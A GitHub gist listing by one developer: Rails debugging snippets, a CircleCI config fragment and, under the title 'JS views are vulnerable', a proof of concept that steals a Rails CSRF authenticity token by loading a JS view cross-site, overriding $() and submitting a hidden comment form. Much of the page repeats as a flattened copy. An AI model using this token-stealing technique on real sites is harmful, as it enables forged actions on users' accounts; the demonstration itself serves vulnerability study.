Maksim Abramchuk MaksimAbramchuk

## gist:69dbcdba784bf0306c84
Started GET "/users/35/edit" for 127.0.0.1 at 2014-07-28 12:38:51 +0300
Processing by UsersController#edit as HTML
  Parameters: {"id"=>"35"}
  User Load (1.7ms)  SELECT  "users".* FROM "users"  WHERE "users"."id" = 32  ORDER BY "users"."id" ASC LIMIT 1

From: /home/maxim-abramchuck/Dropbox/Work/Rails/adv_board/app/controllers/users_controller.rb @ line 15 UsersController#edit:

    14: def edit
 => 15:   binding.pry
    16:   @user.build_avatar unless @user.avatar

## gist:93be6c198a28eba5d8df
require 'app_responder'

class ApplicationController < ActionController::Base
  include Pundit

  protect_from_forgery with: :exception

  before_action :authenticate_user!
  before_action :configure_permitted_parameters, if: :devise_controller?

## gist:b40e49e19b1e1c2fe042
To circle.yml:

dependencies:
  post:
    - bin/cisetup

checkout:
  post:
    - git fetch origin --depth=1000000

## code_2.html
<html>
  <head>
    <script type=”text/javascript” src=”index.js”></script>
    <title>JS views are vulnerable</title>
  </head>
  <body>
     <form action=”http://example.com/comments" method=”POST”>
       <input id=”token” type=”hidden” name=”authenticity_token” value=””>
       <input type=”hidden” name=”comment[model_id]” value=”76678">
       <input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>

## code_1.js
$(“.wrapper.dev”).after(“<%= escape_javascript(render(:partial => @partial))%>”)

## code_3.js
var _document = document;
var token = ‘’;

getSecureInfo = function (html) {
 matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
 token = matches[1];
 document.getElementById(‘token’).value = token;
};

function $() {

## code_4.js
function $() {
 return {
 after: getSecureInfo
 }
};

## code_5.js
document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js"></script>');

## code_6.js
getSecureInfo = function (html) {
 matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
 token = matches[1];
 document.getElementById(‘token’).value = token;
};

## code_7.js
document.addEventListener(‘DOMContentLoaded’, function () {  document.getElementById(‘token’).value = token; }, false);
	Started GET "/users/35/edit" for 127.0.0.1 at 2014-07-28 12:38:51 +0300
	Processing by UsersController#edit as HTML
	Parameters: {"id"=>"35"}
	User Load (1.7ms) SELECT "users".* FROM "users" WHERE "users"."id" = 32 ORDER BY "users"."id" ASC LIMIT 1

	From: /home/maxim-abramchuck/Dropbox/Work/Rails/adv_board/app/controllers/users_controller.rb @ line 15 UsersController#edit:

	14: def edit
	=> 15: binding.pry
	16: @user.build_avatar unless @user.avatar
	require 'app_responder'

	class ApplicationController < ActionController::Base
	include Pundit

	protect_from_forgery with: :exception

	before_action :authenticate_user!
	before_action :configure_permitted_parameters, if: :devise_controller?
	To circle.yml:

	dependencies:
	post:
	- bin/cisetup

	checkout:
	post:
	- git fetch origin --depth=1000000
	<html>
	<head>
	<script type=”text/javascript” src=”index.js”></script>
	<title>JS views are vulnerable</title>
	</head>
	<body>
	<form action=”http://example.com/comments" method=”POST”>
	<input id=”token” type=”hidden” name=”authenticity_token” value=””>
	<input type=”hidden” name=”comment[model_id]” value=”76678">
	<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>
	var _document = document;
	var token = ‘’;

	getSecureInfo = function (html) {
	matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
	token = matches[1];
	document.getElementById(‘token’).value = token;
	};

	function $() {